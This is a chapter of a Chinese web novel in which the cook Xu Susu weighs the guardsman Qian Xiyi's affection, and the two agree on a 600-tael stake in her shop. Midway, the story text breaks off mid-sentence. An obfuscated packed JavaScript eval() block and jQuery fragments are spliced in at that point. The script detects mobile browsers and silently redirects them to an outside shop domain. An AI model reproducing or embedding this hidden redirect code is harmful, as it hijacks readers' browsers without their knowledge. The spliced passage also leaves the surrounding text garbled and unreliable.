温如玉拿出为许苏苏买来的糖霜山楂,“你说是不是这个道理?”
许苏苏点点头,“可是如此一来,岂不辜负了钱大哥心意?”
在许苏苏朴素的价值观中,钱希祎帮助自己的恩情,和钱希祎喜欢自己的事情,并不能混为一谈。
若是为求报恩就答应钱希祎追求?苏苏不想将钱希祎置于一个挟恩图报的境地当中。
尽管后来钱希祎对自己的多番关照,是出于心中相许,喜爱自己这个人。但许苏苏知道,钱希祎从未说过帮助她的是恩惠,要许苏苏当牛做马去报答,而是一直将两人放在一个比较平等的地位,互帮互助。
许苏苏赠送给钱希祎许多美食,一张无论何时都能打折的卡片,帮助钱王恢复食欲,而钱希祎帮许苏苏在禁军和同阶层朋友中宣扬店铺,在官家和祖父面前为许苏苏美言,帮许苏苏打官司,寻找行老。
许苏苏知道,这世上没有单方面的付出,一味索取,无论什么样的关系都会变得一文不名,钱希祎付出多少,许苏苏就要回报她力所能及范围内的东西。
可是心意和喜欢这东西,如果不能回应,就会变成漫长的,痛苦的单方面给予。
许苏苏为难,便是在为难不知道自己该如何回应钱希祎这份诚挚的心意。
许苏苏将这话说给温如玉,温如玉恍然大悟,“原来是因为这个。”
他慢慢笑起来。
“苏苏今年十六,虚岁十七。”
他伸出几根手指,“到了该成亲的年纪,春心萌动,想要相看人家十分正常。”
“你若觉得钱公子看得上眼,便考察此人人品性格,若觉得钱公子此人看不上眼,我去替你说和,拒绝他。”
这位人如其名的青年才俊将许苏苏手边的书一卷,轻轻敲在她头上。
“以你的性格,若是不喜欢,早就和人家直说。”
“现在如此作态,岂不是心中已经动了主意。”
许苏苏脸色通红,嗫嚅道,“钱大哥人品样貌,都很出色。”
身材高大的军汉有着从军多年锻炼出的健硕身材,继承自双亲的好相貌英气逼人,若非知道两人差距,再隔着一次次无私的帮助,相处中,许苏苏肯定要做出一些表示,试着追求钱希祎。
“苏苏,人生于世,俯仰无愧于天地,行事无愧于良心。”
“如此,便可称得上完人,圣人。”
温如玉笑起来,“可从古至今,能被称为圣人、完人的又有多少?”
见许苏苏不解,温如玉解释道。
“从心所欲,不逾矩。”
“苏苏能做到这点,又何来如此多烦恼。”
许苏苏恍然大悟,“多谢温大哥指点。”
许苏苏说道,“是我一时间钻了牛角尖,既是孤女,又要寻得良配,为何不考虑眼前人呢?”
温如玉点点头,对许苏苏悟性十分满意。
过了一会儿,又叹息道,“可惜,你未能投身成男儿身,是个为官作宰的好材料,却只能囿于家宅后院,空度一生。”
许苏苏却持有完全不同的意见,“温大哥,得之我幸,失之我命,我从不强求不属于我的东西,更何况,谁说做个厨娘就比做宰相不如意呢?”
许苏苏笑道,“子非鱼,安知鱼之乐。”
和许苏苏正为小女儿家心思百般纠结不同,钱希祎正抓着曹山询问诸如如何讨好喜欢的小娘子秘诀。
“喂,老曹,你这家伙,范娘子起先可一点都看不上你,你到底是怎么做到让范娘子主动和家人说同意婚事的?”
曹山乃是曹彬之孙,而曹山的未婚妻范质孙女,若非范质亡逝世致使范家衰微,两家确实算得上门当户对。
前年大相国寺见过范家娘子,曹山一见倾心,本计划待到范家娘子到年纪后,让家人到范家提亲,彼时那厮心想着自己入了班直,身上挂一个天子近卫的名头,总是能让范公高看一眼。
谁料到范家娘子年纪更小时曾遇到过曹山,更深恶曹山等入了班直的权贵子弟们举止粗鲁,要父亲选择一门下为人端方的学子作东床快婿。
潘正和钱希祎讲这件事时,眉飞色舞,得意洋洋,很是嘲笑了一番绞尽脑汁才令范家娘子回心转意的老曹。
“还能有什么办法,死皮赖脸呗。”
换值路过两人的潘正高声说道。
曹山眼角一突,咬牙切齿,“就,就算是死皮赖脸,也是要讲究方法的。”
然后拉过钱希祎嘀嘀咕咕,不知在吩咐教导什么。
与家族中其他子弟不同,钱希祎、曹山、潘正,还有同是班直都头的赵延亭,都算是被家中半‘放弃’的子弟,只能在军中摸爬滚打,而不能凭借家中人脉读书科举,身穿公服,轻轻松松进入朝堂。
家中有人读书,就得有人习武,这没办法。
因此,这些子弟能在其他事上得到难以想象的自由,比如婚姻自主权。
“首先你须得……”
曹山传授给钱希祎神乎其神的追人技巧,而作为回报,钱希祎要自掏腰包,花费重金,请许苏苏到曹家去为曹山父亲的寿宴掌勺。
“这也是讨好小娘子的一部分,你给她的生意捧场,支持她的生意,小娘子自是要记得你的好处。”
曹山得意洋洋,仿佛回到了自己压榨妹妹绘制仕女图的时候。
“盈娘喜爱绘画,我便将我妹妹送到她家,请她教授我妹妹习画。”
“每绘制一幅画,我便赠送给盈娘许多礼物,久而久之,这关系不就拉近了。”
确实,这一招用的妙。
钱希祎想一想其中道理,如同被打开什么开关。
“多谢曹兄,领教了。”
钱希祎心中转出十来个巧妙主意,已经迫不及待要去试试,看看能不能引得许苏苏心动。
钱希祎已经决定,要从合伙人开始,成功用自己的‘魅力’吸引许苏苏。
六月六,钱希祎终于收到许苏苏托人捎来的口信。
“钱大哥,这是文书。”
是的,钱希祎想出最绝妙的主意,便是和许苏苏合伙做生意,成功将自己的身份从朋友,转为更亲密的合作伙伴。
据钱希祎这家伙观察,京城中合伙开店的不是父母兄妹,就是近亲,要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579106|204211||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不然就是夫妻。
“夫妻店,啧啧啧。”
跨上马,钱希祎慢慢朝许苏苏小店中走去,“夫妻店,嘿嘿嘿。”
“钱大哥,你笑什么呢?”
许苏苏不解道。
钱希祎拴好马,装作什么都没发生一样,“嘿嘿,没笑。”
许苏苏很无奈,拿着那份文书,将钱希祎拉到小店的后院儿里,关上门,认真询问道。
“钱大哥,这一千五百两银子可是你的积蓄?”
钱希祎点头。
“苏苏,我家财丰厚,这些不算什么。”
可是,许苏苏很认真解释道。
“钱大哥,你对我有意,也无需,也不能如此破费。”
见许苏苏很平静说出你对我有意,钱希祎先是紧张一瞬,随即狂喜,却故作矜持道。
“苏苏,不要小看我嘛。”
许苏苏仰起头,一字一句对着钱希祎说道。
“不可以,钱大哥若是想投钱,六百两就够了。”
许苏苏计算了小店的花费,对未来扩建的规划。
“有了钱大哥这六百两,我可以买下临近婶子的小店,开设一个早餐口,专门售卖早餐。”
是的,六百两仅仅能买下一处能容纳三张桌子的小店,这就是京城的房价。
许苏苏扩建小店到现在规模,总共花费一千五百两,把开设店铺到现在攒下的积蓄都耗费了大半,这还是在张家犯了事,衙门做主低价将小店转让给许苏苏的情况下。
许苏苏继续和钱希祎算账,“开设这处专门供外带、外售的早餐口,能给小店增加二两银子收入。”
也就是一年时间,能收回成本。
钱希祎是个粗人,书都没读过几本,这种涉及到现代财务管理知识的复杂计算,就更听不懂。
“苏苏,这就是我一份心意。”
年轻军汉有着一种极为优秀的特质,无论何时都会直白的表述自己的想法和心意。
许苏苏心中一暖,“钱大哥,我都知道,可是我决不能让你吃亏。”
许苏苏将自己计算好的收入、成本和成本回收时间写到一起,递给钱希祎。
“六百两,算作钱大哥投给我的钱,可以从小店中分润两成利润。”
许苏苏说出了钱希祎最想听的话,“钱大哥,日后许记小店,你占了两分的利润,可要常来照顾小店生意。”
钱希祎给出的岂止是六百两银子,许苏苏深知,若是钱希祎能成为小店合伙人,所得到的人脉和庇护是难以想象的。
“本朝可是有不许官宦人家与民争利的律令。”
但是,回想自己储存不多的古代知识,许苏苏想到一件事,自商鞅推行重农抑商之法开始,官员和商人就是天然的对立面,到后来朝代,更是有不许经营生意,与民争利的规定。
许苏苏担心,投资小店会让钱希祎违反律法。
钱希祎感受到许苏苏关心,更是笑起来。
“我在官家那儿过了明路。”
许苏苏不解。
钱希祎神秘笑道,“这个你就不必管了。”